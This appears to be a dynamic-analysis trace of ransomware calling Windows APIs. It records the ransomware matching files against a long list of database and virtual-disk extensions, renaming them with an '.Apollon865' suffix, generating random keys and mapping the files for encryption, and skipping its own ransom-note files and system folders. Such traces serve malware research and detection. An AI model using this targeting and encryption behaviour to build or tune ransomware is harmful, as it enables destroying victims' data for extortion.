	[0054.562] lstrlenW (lpString="vdi") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="vdi") returned -1
	[0054.562] lstrlenW (lpString="vhd") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="vhd") returned -1
	[0054.562] lstrlenW (lpString="vhdx") returned 4
	[0054.562] lstrcmpiW (lpString1="5EC9", lpString2="vhdx") returned -1
	[0054.562] lstrlenW (lpString="avhd") returned 4
	[0054.562] lstrcmpiW (lpString1="5EC9", lpString2="avhd") returned -1
	[0054.562] lstrlenW (lpString="db") returned 2
	[0054.562] lstrcmpiW (lpString1="C9", lpString2="db") returned -1
	[0054.562] lstrlenW (lpString="db2") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="db2") returned 1
	[0054.562] lstrlenW (lpString="db3") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="db3") returned 1
	[0054.562] lstrlenW (lpString="dbf") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="dbf") returned 1
	[0054.562] lstrlenW (lpString="mdf") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="mdf") returned -1
	[0054.562] lstrlenW (lpString="mdb") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="mdb") returned -1
	[0054.562] lstrlenW (lpString="sql") returned 3
	[0054.562] lstrcmpiW (lpString1="EC9", lpString2="sql") returned -1
	[0054.562] lstrlenW (lpString="sqlite") returned 6
	[0054.562] lstrcmpiW (lpString1="575EC9", lpString2="sqlite") returned -1
	[0054.562] lstrlenW (lpString="sqlite3") returned 7
	[0054.562] lstrcmpiW (lpString1="F575EC9", lpString2="sqlite3") returned -1
	[0054.562] lstrlenW (lpString="sqlitedb") returned 8
	[0054.563] lstrcmpiW (lpString1="5F575EC9", lpString2="sqlitedb") returned -1
	[0054.563] lstrlenW (lpString="xml") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="xml") returned -1
	[0054.563] lstrlenW (lpString="$er") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="$er") returned 1
	[0054.563] lstrlenW (lpString="4dd") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="4dd") returned 1
	[0054.563] lstrlenW (lpString="4dl") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="4dl") returned 1
	[0054.563] lstrlenW (lpString="^^^") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="^^^") returned 1
	[0054.563] lstrlenW (lpString="abs") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="abs") returned 1
	[0054.563] lstrlenW (lpString="abx") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="abx") returned 1
	[0054.563] lstrlenW (lpString="accdb") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accdb") returned -1
	[0054.563] lstrlenW (lpString="accdc") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accdc") returned -1
	[0054.563] lstrlenW (lpString="accde") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accde") returned -1
	[0054.563] lstrlenW (lpString="accdr") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accdr") returned -1
	[0054.563] lstrlenW (lpString="accdt") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accdt") returned -1
	[0054.563] lstrlenW (lpString="accdw") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accdw") returned -1
	[0054.563] lstrlenW (lpString="accft") returned 5
	[0054.563] lstrcmpiW (lpString1="75EC9", lpString2="accft") returned -1
	[0054.563] lstrlenW (lpString="adb") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="adb") returned 1
	[0054.563] lstrlenW (lpString="adb") returned 3
	[0054.563] lstrcmpiW (lpString1="EC9", lpString2="adb") returned 1
	[0054.563] lstrlenW (lpString="ade") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="ade") returned 1
	[0054.564] lstrlenW (lpString="adf") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="adf") returned 1
	[0054.564] lstrlenW (lpString="adn") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="adn") returned 1
	[0054.564] lstrlenW (lpString="adp") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="adp") returned 1
	[0054.564] lstrlenW (lpString="alf") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="alf") returned 1
	[0054.564] lstrlenW (lpString="ask") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="ask") returned 1
	[0054.564] lstrlenW (lpString="btr") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="btr") returned 1
	[0054.564] lstrlenW (lpString="cat") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="cat") returned 1
	[0054.564] lstrlenW (lpString="cdb") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="cdb") returned 1
	[0054.564] lstrlenW (lpString="ckp") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="ckp") returned 1
	[0054.564] lstrlenW (lpString="cma") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="cma") returned 1
	[0054.564] lstrlenW (lpString="cpd") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="cpd") returned 1
	[0054.564] lstrlenW (lpString="dacpac") returned 6
	[0054.564] lstrcmpiW (lpString1="575EC9", lpString2="dacpac") returned -1
	[0054.564] lstrlenW (lpString="dad") returned 3
	[0054.564] lstrcmpiW (lpString1="EC9", lpString2="dad") returned 1
	[0054.564] lstrlenW (lpString="dadiagrams") returned 10
	[0054.564] lstrcmpiW (lpString1="EB5F575EC9", lpString2="dadiagrams") returned 1
	[0054.564] lstrlenW (lpString="daschema") returned 8
	[0054.564] lstrcmpiW (lpString1="5F575EC9", lpString2="daschema") returned -1
	[0054.564] lstrlenW (lpString="db-journal") returned 10
	[0054.564] lstrcmpiW (lpString1="EB5F575EC9", lpString2="db-journal") returned 1
	[0054.564] lstrlenW (lpString="db-shm") returned 6
	[0054.564] lstrcmpiW (lpString1="575EC9", lpString2="db-shm") returned -1
	[0054.565] lstrlenW (lpString="db-wal") returned 6
	[0054.565] lstrcmpiW (lpString1="575EC9", lpString2="db-wal") returned -1
	[0054.565] lstrlenW (lpString="dbc") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dbc") returned 1
	[0054.565] lstrlenW (lpString="dbs") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dbs") returned 1
	[0054.565] lstrlenW (lpString="dbt") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dbt") returned 1
	[0054.565] lstrlenW (lpString="dbv") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dbv") returned 1
	[0054.565] lstrlenW (lpString="dbx") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dbx") returned 1
	[0054.565] lstrlenW (lpString="dcb") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dcb") returned 1
	[0054.565] lstrlenW (lpString="dct") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dct") returned 1
	[0054.565] lstrlenW (lpString="dcx") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dcx") returned 1
	[0054.565] lstrlenW (lpString="ddl") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="ddl") returned 1
	[0054.565] lstrlenW (lpString="dlis") returned 4
	[0054.565] lstrcmpiW (lpString1="5EC9", lpString2="dlis") returned -1
	[0054.565] lstrlenW (lpString="dp1") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dp1") returned 1
	[0054.565] lstrlenW (lpString="dqy") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dqy") returned 1
	[0054.565] lstrlenW (lpString="dsk") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dsk") returned 1
	[0054.565] lstrlenW (lpString="dsn") returned 3
	[0054.565] lstrcmpiW (lpString1="EC9", lpString2="dsn") returned 1
	[0054.565] lstrlenW (lpString="dtsx") returned 4
	[0054.565] lstrcmpiW (lpString1="5EC9", lpString2="dtsx") returned -1
	[0054.565] lstrlenW (lpString="dxl") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="dxl") returned 1
	[0054.566] lstrlenW (lpString="eco") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="eco") returned -1
	[0054.566] lstrlenW (lpString="ecx") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="ecx") returned -1
	[0054.566] lstrlenW (lpString="edb") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="edb") returned -1
	[0054.566] lstrlenW (lpString="epim") returned 4
	[0054.566] lstrcmpiW (lpString1="5EC9", lpString2="epim") returned -1
	[0054.566] lstrlenW (lpString="fcd") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fcd") returned -1
	[0054.566] lstrlenW (lpString="fdb") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fdb") returned -1
	[0054.566] lstrlenW (lpString="fic") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fic") returned -1
	[0054.566] lstrlenW (lpString="flexolibrary") returned 12
	[0054.566] lstrcmpiW (lpString1="E7EB5F575EC9", lpString2="flexolibrary") returned -1
	[0054.566] lstrlenW (lpString="fm5") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fm5") returned -1
	[0054.566] lstrlenW (lpString="fmp") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fmp") returned -1
	[0054.566] lstrlenW (lpString="fmp12") returned 5
	[0054.566] lstrcmpiW (lpString1="75EC9", lpString2="fmp12") returned -1
	[0054.566] lstrlenW (lpString="fmpsl") returned 5
	[0054.566] lstrcmpiW (lpString1="75EC9", lpString2="fmpsl") returned -1
	[0054.566] lstrlenW (lpString="fol") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fol") returned -1
	[0054.566] lstrlenW (lpString="fp3") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fp3") returned -1
	[0054.566] lstrlenW (lpString="fp4") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fp4") returned -1
	[0054.566] lstrlenW (lpString="fp5") returned 3
	[0054.566] lstrcmpiW (lpString1="EC9", lpString2="fp5") returned -1
	[0054.567] lstrlenW (lpString="fp7") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="fp7") returned -1
	[0054.567] lstrlenW (lpString="fpt") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="fpt") returned -1
	[0054.567] lstrlenW (lpString="frm") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="frm") returned -1
	[0054.567] lstrlenW (lpString="gdb") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="gdb") returned -1
	[0054.567] lstrlenW (lpString="gdb") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="gdb") returned -1
	[0054.567] lstrlenW (lpString="grdb") returned 4
	[0054.567] lstrcmpiW (lpString1="5EC9", lpString2="grdb") returned -1
	[0054.567] lstrlenW (lpString="gwi") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="gwi") returned -1
	[0054.567] lstrlenW (lpString="hdb") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="hdb") returned -1
	[0054.567] lstrlenW (lpString="his") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="his") returned -1
	[0054.567] lstrlenW (lpString="ib") returned 2
	[0054.567] lstrcmpiW (lpString1="C9", lpString2="ib") returned -1
	[0054.567] lstrlenW (lpString="idb") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="idb") returned -1
	[0054.567] lstrlenW (lpString="ihx") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="ihx") returned -1
	[0054.567] lstrlenW (lpString="itdb") returned 4
	[0054.567] lstrcmpiW (lpString1="5EC9", lpString2="itdb") returned -1
	[0054.567] lstrlenW (lpString="itw") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="itw") returned -1
	[0054.567] lstrlenW (lpString="jet") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="jet") returned -1
	[0054.567] lstrlenW (lpString="jtx") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="jtx") returned -1
	[0054.567] lstrlenW (lpString="kdb") returned 3
	[0054.567] lstrcmpiW (lpString1="EC9", lpString2="kdb") returned -1
	[0054.568] lstrlenW (lpString="kexi") returned 4
	[0054.568] lstrcmpiW (lpString1="5EC9", lpString2="kexi") returned -1
	[0054.568] lstrlenW (lpString="kexic") returned 5
	[0054.568] lstrcmpiW (lpString1="75EC9", lpString2="kexic") returned -1
	[0054.568] lstrlenW (lpString="kexis") returned 5
	[0054.568] lstrcmpiW (lpString1="75EC9", lpString2="kexis") returned -1
	[0054.568] lstrlenW (lpString="lgc") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="lgc") returned -1
	[0054.568] lstrlenW (lpString="lwx") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="lwx") returned -1
	[0054.568] lstrlenW (lpString="maf") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="maf") returned -1
	[0054.568] lstrlenW (lpString="maq") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="maq") returned -1
	[0054.568] lstrlenW (lpString="mar") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mar") returned -1
	[0054.568] lstrlenW (lpString="marshal") returned 7
	[0054.568] lstrcmpiW (lpString1="F575EC9", lpString2="marshal") returned -1
	[0054.568] lstrlenW (lpString="mas") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mas") returned -1
	[0054.568] lstrlenW (lpString="mav") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mav") returned -1
	[0054.568] lstrlenW (lpString="maw") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="maw") returned -1
	[0054.568] lstrlenW (lpString="mdbhtml") returned 7
	[0054.568] lstrcmpiW (lpString1="F575EC9", lpString2="mdbhtml") returned -1
	[0054.568] lstrlenW (lpString="mdn") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mdn") returned -1
	[0054.568] lstrlenW (lpString="mdt") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mdt") returned -1
	[0054.568] lstrlenW (lpString="mfd") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mfd") returned -1
	[0054.568] lstrlenW (lpString="mpd") returned 3
	[0054.568] lstrcmpiW (lpString1="EC9", lpString2="mpd") returned -1
	[0054.568] lstrlenW (lpString="mrg") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="mrg") returned -1
	[0054.569] lstrlenW (lpString="mud") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="mud") returned -1
	[0054.569] lstrlenW (lpString="mwb") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="mwb") returned -1
	[0054.569] lstrlenW (lpString="myd") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="myd") returned -1
	[0054.569] lstrlenW (lpString="ndf") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="ndf") returned -1
	[0054.569] lstrlenW (lpString="nnt") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="nnt") returned -1
	[0054.569] lstrlenW (lpString="nrmlib") returned 6
	[0054.569] lstrcmpiW (lpString1="575EC9", lpString2="nrmlib") returned -1
	[0054.569] lstrlenW (lpString="ns2") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="ns2") returned -1
	[0054.569] lstrlenW (lpString="ns3") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="ns3") returned -1
	[0054.569] lstrlenW (lpString="ns4") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="ns4") returned -1
	[0054.569] lstrlenW (lpString="nsf") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="nsf") returned -1
	[0054.569] lstrlenW (lpString="nv") returned 2
	[0054.569] lstrcmpiW (lpString1="C9", lpString2="nv") returned -1
	[0054.569] lstrlenW (lpString="nv2") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="nv2") returned -1
	[0054.569] lstrlenW (lpString="nwdb") returned 4
	[0054.569] lstrcmpiW (lpString1="5EC9", lpString2="nwdb") returned -1
	[0054.569] lstrlenW (lpString="nyf") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="nyf") returned -1
	[0054.569] lstrlenW (lpString="odb") returned 3
	[0054.569] lstrcmpiW (lpString1="EC9", lpString2="odb") returned -1
	[0054.570] lstrlenW (lpString="odb") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="odb") returned -1
	[0054.570] lstrlenW (lpString="oqy") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="oqy") returned -1
	[0054.570] lstrlenW (lpString="ora") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="ora") returned -1
	[0054.570] lstrlenW (lpString="orx") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="orx") returned -1
	[0054.570] lstrlenW (lpString="owc") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="owc") returned -1
	[0054.570] lstrlenW (lpString="p96") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="p96") returned -1
	[0054.570] lstrlenW (lpString="p97") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="p97") returned -1
	[0054.570] lstrlenW (lpString="pan") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="pan") returned -1
	[0054.570] lstrlenW (lpString="pdb") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="pdb") returned -1
	[0054.570] lstrlenW (lpString="pdm") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="pdm") returned -1
	[0054.570] lstrlenW (lpString="pnz") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="pnz") returned -1
	[0054.570] lstrlenW (lpString="qry") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="qry") returned -1
	[0054.570] lstrlenW (lpString="qvd") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="qvd") returned -1
	[0054.570] lstrlenW (lpString="rbf") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="rbf") returned -1
	[0054.570] lstrlenW (lpString="rctd") returned 4
	[0054.570] lstrcmpiW (lpString1="5EC9", lpString2="rctd") returned -1
	[0054.570] lstrlenW (lpString="rod") returned 3
	[0054.570] lstrcmpiW (lpString1="EC9", lpString2="rod") returned -1
	[0054.571] lstrlenW (lpString="rodx") returned 4
	[0054.571] lstrcmpiW (lpString1="5EC9", lpString2="rodx") returned -1
	[0054.571] lstrlenW (lpString="rpd") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="rpd") returned -1
	[0054.571] lstrlenW (lpString="rsd") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="rsd") returned -1
	[0054.571] lstrlenW (lpString="sas7bdat") returned 8
	[0054.571] lstrcmpiW (lpString1="5F575EC9", lpString2="sas7bdat") returned -1
	[0054.571] lstrlenW (lpString="sbf") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="sbf") returned -1
	[0054.571] lstrlenW (lpString="scx") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="scx") returned -1
	[0054.571] lstrlenW (lpString="sdb") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="sdb") returned -1
	[0054.571] lstrlenW (lpString="sdc") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="sdc") returned -1
	[0054.571] lstrlenW (lpString="sdf") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="sdf") returned -1
	[0054.571] lstrlenW (lpString="sis") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="sis") returned -1
	[0054.571] lstrlenW (lpString="spq") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="spq") returned -1
	[0054.571] lstrlenW (lpString="te") returned 2
	[0054.571] lstrcmpiW (lpString1="C9", lpString2="te") returned -1
	[0054.571] lstrlenW (lpString="teacher") returned 7
	[0054.571] lstrcmpiW (lpString1="F575EC9", lpString2="teacher") returned -1
	[0054.571] lstrlenW (lpString="tmd") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="tmd") returned -1
	[0054.571] lstrlenW (lpString="tps") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="tps") returned -1
	[0054.571] lstrlenW (lpString="trc") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="trc") returned -1
	[0054.571] lstrlenW (lpString="trc") returned 3
	[0054.571] lstrcmpiW (lpString1="EC9", lpString2="trc") returned -1
	[0054.572] lstrlenW (lpString="trm") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="trm") returned -1
	[0054.572] lstrlenW (lpString="udb") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="udb") returned -1
	[0054.572] lstrlenW (lpString="udl") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="udl") returned -1
	[0054.572] lstrlenW (lpString="usr") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="usr") returned -1
	[0054.572] lstrlenW (lpString="v12") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="v12") returned -1
	[0054.572] lstrlenW (lpString="vis") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="vis") returned -1
	[0054.572] lstrlenW (lpString="vpd") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="vpd") returned -1
	[0054.572] lstrlenW (lpString="vvv") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="vvv") returned -1
	[0054.572] lstrlenW (lpString="wdb") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="wdb") returned -1
	[0054.572] lstrlenW (lpString="wmdb") returned 4
	[0054.572] lstrcmpiW (lpString1="5EC9", lpString2="wmdb") returned -1
	[0054.572] lstrlenW (lpString="wrk") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="wrk") returned -1
	[0054.572] lstrlenW (lpString="xdb") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="xdb") returned -1
	[0054.572] lstrlenW (lpString="xld") returned 3
	[0054.572] lstrcmpiW (lpString1="EC9", lpString2="xld") returned -1
	[0054.572] lstrlenW (lpString="xmlff") returned 5
	[0054.572] lstrcmpiW (lpString1="75EC9", lpString2="xmlff") returned -1
	[0054.572] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865") returned 112
	[0054.572] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9.apollon865"), dwFlags=0x1) returned 1
	[0054.576] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.576] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=552) returned 1
	[0054.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0054.576] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.577] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0054.577] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.577] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.578] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154
	[0054.579] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x120000
	[0054.588] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.589] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.589] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.590] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.590] CloseHandle (hObject=0x154) returned 1
	[0054.590] CloseHandle (hObject=0x150) returned 1
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.590] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="Apollon865.txt.exe") returned -1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".") returned 1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="..") returned 1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="windows") returned -1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="bootmgr") returned -1
	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="temp") returned -1
